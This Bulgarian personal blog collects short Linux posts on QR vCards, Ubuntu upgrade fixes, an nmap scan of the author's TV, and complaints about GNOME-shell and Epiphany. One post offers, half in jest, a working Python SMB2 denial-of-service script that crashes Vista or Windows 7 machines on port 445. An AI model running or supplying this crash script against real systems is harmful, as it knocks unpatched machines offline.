Блогът на Фил

Напоследък с навлизането на смартфоните и съответно наличните на тях камери станаха популярни двумерните баркодове, които могат да съдържат доста повече информация от тези, които сме свикнали да виждаме на стоките. Една от интересните употреби на тези баркодове е възможността да се кодира информация за контакт и да се разпечата на визитна картичка, така че когато се снима от смартфон със съответно приложение да се въведе в списъка с контакти автоматично. Информацията е кодирана във vcard формат.
Благодарение на свободния софтуер можете да генерирате сами такъв баркод, който после да добавите към вашите визитни картички. За целта ви трябва Линукс, qrencode и текстов редактор.
Vcard форматът е следния:
BEGIN:VCARD
N:Име
ORG:Организация
TITLE: директор на водопада
URL:www.abc.bg
EMAIL:me@abc.bg
TEL:+359 02 123456
END:VCARD

След това използвайте команда подобна на тази, където vcardtest.txt е текстов файл, със съдържанието на текста във vcard формат. Qrencode е програмата, която генерира баркода, а address.png е файлът-изображение, в който ще се запише.

cat vcardtest.txt | qrencode -o address.png

Резултатът ще изглежда подобно на този:

Отакто открих възможността да ползвам ускорението на видео-картата под Линукс, за да мога да гледам HD видео не ми се налага да рестартирам под Vista. След обновяването до последната версия на Ubuntu обаче пускането на gnome-mplayer, който ми предоставяше тази възможност спря да я предлага, а вместо това ми даваше грешка: gnome-mplayer Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory
След кратко ровене открих решение на проблема тук: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=581570. За целта трябва просто да създадете връзка към библиотеката:
sudo ln -s /usr/lib/vdpau/libvdpau_nvidia.so.1 /usr/lib/libvdpau_nvidia.so

Миналият уикенд имах много работа и поради това оставих обновяването до последната версия на Ubuntu-то ми за този. Бях се настроил за безгрижен ъпдейт, може би заради магическите числа на дати и версии – ubuntu 10.10 беше пуснато на 10.10.10, което пък ако се гледа като двоично число се конвертира до 42 в десетичната бройна система, което пък както знаем е ОТГОВОРЪТ на въпроса за живота, вселената и всичко останало. Самото изтегляне и инсталиране на пакетите отне около час и след рестартирането бях доволен да видя, че стигнах до графична среда (GDM логин екрана), защото използвам затворените Nvidia драйвери и при смяна на ядрото обикновено трябва да ги инсталирам отново. След автентикацията и малко чегъртане поради първо стартиране на средата след обновяването работната среда изгря, но нямаше рамки на прозорците – пуснах compiz ръчно и се оправи. За кратко време установих, че не ми работи безжичната карта и звука. Тъй като картата е broadcom и съм се борил и преди с нея започнах да ровя по отметките за да си припомня какво трябваше да се прави, стига да е валидно и за новата версия на дистрибуцията. В крайна сметка се оказа, че деинсталирането и инсталирането на bcmwl-kernel-source пакета. За звукът се оказа даже още по-просто – в домашната директория трябваше да махна скритата директория .pulse.
Тъй като ползвам nautilus-elementary въпреки че repository-то беше разрешено nautilus-а стоеше намазан, тъй че трябваше да мина през enforce-ване на версията, която уж се твърдеше, че е инсталирана, ама всъщност беше инсталирана официалната и сега вече имам работеща машина с най-новото магическо ubuntu.

Открих още едно потвърждение на съмнението ми, че телевизорът ми има Линукс в него:

sudo nmap -O 192.168.1.3
Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-31 19:59 EET
Interesting ports on 192.168.1.3:
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:XX:XX:XX:XX:XX (N.V. Philips Industrial Activities)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds


Питам се защо на сайта на Philips не пише за това и от никъде не мога да си сваля кода.
Допълнение
Изглежда не съм само аз: http://www.neophob.com/serendipity/index.php?/archives/182-Root-my-TV-Hack-Philips-PFL9703.html

Обикновено се счита, че идентифицирането на потребители в уеб пространството става или с cookie, или със super-cookie (флаш бисквитките, за които вече съм писал). От EFF обаче са установили, че дори без въобще да се използват бисквитки, потребителите могат доста добре да бъдат идентифицирани благодарение на идентификацията на браузера, която включва версията му, версията на операционната система, инсталираните плъгини, шрифтове, времева зона и резолюция на екрана. Вие можете да тествате браузера си на сайта Panopticlick.

След като съм с новата версия на Ubuntu, която включва пакети за GNOME-shell, проекто-интерфейса на GNOME3 (би трябвало GNOME 2.30=GNOME 3.0) реших да го пробвам. Което само по себе си не е съвсем тривиално. Не се добавя никъде в менютата, и се пробвах да го пусна през Deskbar-а, но не тръгна, макар че очевидно има такъв бинарен файл. Като стигнах да пробвам от конзола разбрах, че трябва да изпълня gnome-shell --replace. Което доведе до отчайващо тромав шел. След известно четене установих, че всъщност трябва да спра compiz-а преди това. След като го пуснах отново установих, че
1. няма никакъв Alt-tab, макар навсякъде да пише, че отскоро работи
2. Нямам никакъв sidebar.
Превключването между активните приложения с Alt-tab така и не накарах да работи, а sidebar-а се оказа, че трябва да бъде пуснат като отида в горния десен ъгъл на екрана, щракна на потребителското си име и оттам избера Sidebar отметката.
Добре, вече съм го докарал до това, което обясняват по блогове и статии.
Констатации:
1. Анимацията е ужасно бавна
2. За да пусна което и да е приложение трябва да отида в горния ляв ъгъл на екрана, което ще ми изкара меню на цял екран – т.е. променя се всичко на екрана, за да се появи страничното меню, от което без допълнителни усилия мога да избера само измежду най-често използваните приложения. Ако искам да стартирам друго приложение, трябва да избера Applications – More – категорията, в която е приложението, което търся – приложението, което търся. И това е само ако то е на първа страница, иначе трябва не да скролирам като всяко друго меню, а да избера отдолу единствения символ за номер на страница.
3. Отсъстват всякакви настройки. Те били лоши и разработчиците знаели кое е най-добро за потребителите, което е едно за всички и ако потребителите не са съгласни, значи просто не разбират какво е добро за тях, а ако настояват, че не разбират, значи са гадни антипродуктивни тролове. Звучи точно като “Instead of giving you the illusion of choice, I will choose for you”. Липсата на настройки означава, че не можете дори да смените цвета на проклетото нещо. Щото черното е вечерно и вечно модерно.
4. Горната лента съдържа името на текущо активния прозорец, което се съдържа и в заглавната лента на текущия прозорец. Разхищение на място.
5. Въпреки че много се говори за интеракцията между потребителите, empathy и т.н. няма никакъв списък с контакти, с които да можеш да си говориш, пишеш, взаимодействаш.
6. При отваряне на activities горе под лентата и най-долу има пространство, което не е никак малко и което е напълно неизползвано
7. Календар – в средата на горната лента стои един календар, който не показва датата и е доста по-ограничен от текущия календар – няма местоположение, няма метеорологично време
8. В горния десен ъгъл съществуват статус икони, но те не покриват текущо наличната функционалност. Превключване на езики? Няма. Заряд на батериите? Няма. Сила на WiFi сигнала? Няма. Активност на процесора, на мрежата? Няма.
9. В режим на отворени Activities иконите на често използваните приложения, което е най-близкото до лентата със задачи (task list) индикацията дали приложението е стартирано или не е ужасна. Някаква крива нецентрирана светеща елипса зад текста под иконата, който пък текст за почти всички приложения не е пълен и е заместен от многоточие. Evoluti…, OpenO…, Firefox…, Liferea…, Trans…
10. Drag and Drop-а между приложенията е на практика невъзможен в този режим.
11. За да се добави приложение във Favourites, то трябва да е активно и да се щракне върху иконата му в Activities , и то само ако не е минимизирано, иначе въобще не се вижда в Activities.
Идеи по темата:
Категориите на Activities менюто са: Applications, Places, Recent Documents.
1. Да се добави категория People с контакти, нещо подобно на отпадналия High5.
2. Като се отвори това меню, очевидно искам да правя нещо с една от трите категории, не с трите, то и без това няма и начин. Следователно като отида с курсора върху дадена категория тя трябва да се разширява и да остава само тя.
3. За категорията Applications трябва да има подгрупа за всяка категория приложения, които да се незабавно видими без допълнително щракане. Т.е. Като се отвори Applications да се виждат да кажем трите най-често използвани приложения от Graphics, Multimedia, Office, Games, Internet и т.н.
4. При страничния панел ако се мине с курсора върху recent Documents, се отварят четирите последно използвани документи, но това не важи за останалите части от панела. Би било хубаво да се отварят по същия начин само с hover, а не да се щрака бутона >>, защото е инконсистентно. Сега Recent Documents се отварят с преминаване на курсора над тях, а часовникът и често използваните приложения от този бутон.
5. Alt-Tab е линеен, но при много отворени приложения и липса на друг интерфейс за смяна на приложението (отваряне на Activities прозореца и после или избиране на умаленото изображение на търсеното приложение от умалените работни места вдясно или ако приложението е често използвано чрез щракане върху иконата му в Applications не ги броя, защото отнемат прекалено много време) това е доста неудобно, защото потребителят трябва да превърта пре n-найсет икони. Може би радиално меню ще е по-смислено и по-пестеливо като изминат път с мишката.
Изводи – само много малка част от изброените проблеми са заради ранната версия. Тоест не само в настоящото състояние, но и в настоящата посока на развитие GNOME-shell е антипродуктивно и анти-интуитивно.

От няколко дни съм с новото Ubuntu Karmic Koala. Тъй като тя е с Gnome 2.28, се оказа, че използвания от мен браузер Epiphany вече не е с рендериращия механизъм на Mozilla (Gecko), а с WebKit(Google Chrome). Всички разработчици бяха много развълнувани от миграцията, защото видиш ли WebKit бил супер. Само че се оказа, че Epiphany въобще не е довършен/изпипан. Първо открих тривиални неща като Download link въобще не отваря диалог и директно сваля на работния плот, Save As на изображение отваря диалог, но текстовото поле с името е празно и други такива нещица (нанайси пароли от старата версия запазени). Но днес опитвайки се да платя в Epay се оказа, че сертификатите леко ги няма. Бе направо тежко си ги няма. Рових се и открих менюто Manage Certificates. Много хубаво, ама като го избереш и не се случва нищо. Затаяваш дъх и нищо. Е как бе !@#$%^ може да пуснеш като готова версия в сума си дистрибуции приложение, на което една от функциите на менюто не прави нищо? Няма съобщение, няма прозорец, няма диалог, няма нищо. Nada. Nichts. Nothing. Ничево.
Реших, че ще вадя нов сертификат. Само че за да мога да го направя, трябва да ходя до банкомат, което е логично разбира се, ама ми се искаше да си го спестя. Накрая след още четене успях да разбера как да мигрирам сертификатите във Firefox, който очевидно ще е браузерът, който ползвам в кармичната коала. Мигрирането е просто като разбереш какво трябва да направиш: В потребителската директория намираш .gnome2/epiphany/mozilla/epiphany и копираш файловете cert8.db и key3.db в директория /home/felipe/.mozilla/firefox/НЕЩОТО.default, където НЕЩОТО е произволно генерирано име на директория от firefox и няма как да не я познаете, би трябвало да е само една.
Та да довърша с оплакването от Epiphany – документацията никаква я няма, сайтът им е обновяван последно миналата година, така че смятам отношението им супер несериозно и защо всички са толкова щастливи, че се отървават от Mozilla не зная. В смисъл ако новата версия имаше същата функционалност и нямаше такива очевидни бъгове – окей, ама така недоопечена да ти я дават като браузер по подразбиране е малко грубо.

BSOD или синия екран, както му казваме тук беше неизменна част от работата с Windows 98. Спомням си с умиление доброто старо време, когато можеше да пуснеш ping от един компютър и да забиеш съседния. И в които времето за разбиване на парола на споделените папки беше линейно спрямо дължината. Ако и на вас ви липсва това време – не се притеснявайте, можете да забиете Vista или Windows 7 почти толкова лесно – благодарение на тази уязвимост.
Ето ви кода, както сработи при мен на Убунту – с резултат мигновено рестартиране на вистата:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
import socket
host = "192.168.1.7", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket.socket()
s.connect(host)
s.send(buff)
s.close()

Писал съм вече за обогатената/разширена/добавена реалност. Напоследък чета доста новини за приложенията на тази технология, предимно в устройства, които се държат в ръка (iPhone и други такива умни устройства, защото имат GPS, компас, камера от едната страна и екран от другата). Вчера в този магазин “Молът” си купих по препоръка на Краси списание “Обекти”, което е доста прилично списание за наука и технологии. И не щеш ли едната от статиите е за въпросната добавена реалност. Но това, което ме впечатли е, че ако заредите този сайт и покажете маркера от статията на уеб-камерата, свързана към компютъра, на който сте отворили сайта, ще можете да го пробвате и сами. Кефя се като малко дете! Супер готина игра. А си мислех, че ще минат години, преди да държа нещо такова в ръката си.
Допълнение: На самия сайт го има маркера, който иска да пробва, може да си го разпечата оттам.

Разглеждайки за нови готини неща за GNOME попаднах на нещо, което искам да видя много отдавна. Мога да geotag-вам снимки, но ми се ще да ги виждам на карта и за целта да не трябва да ползвам google, yahoo или нещо подобно.
Оказва се, че има експериментален плъгин за eye of gnome – програмата по подразбиране за преглеждане на изображения в GNOME, който прави точно това. Използва libchamplain за да покаже на карта от openstreetmap къде е направена снимката.
За да го пробвате и вие, ето как го направих аз в Ubuntu:
Свалете libchamplain-0.2.10.tar.gz и libchamplain-gtk-0.2.9.tar.gz, минете през ./configure && make и sudo make install, свалете кода на плъгина с
svn checkout svn://svn.gnome.org/svn/eog-plugins
, свалете и другите зависимости и след това компилирайте с
./autogen.sh --prefix=$HOME/.gnome2/
отидете в директорията /trunc/plugins/champlain и копирайте champlain.eog-plugin и ./libs/libchamplain.so в /usr/lib/eog/plugins
След това пуснете eog, отидете в настройките и активирайте плъгина.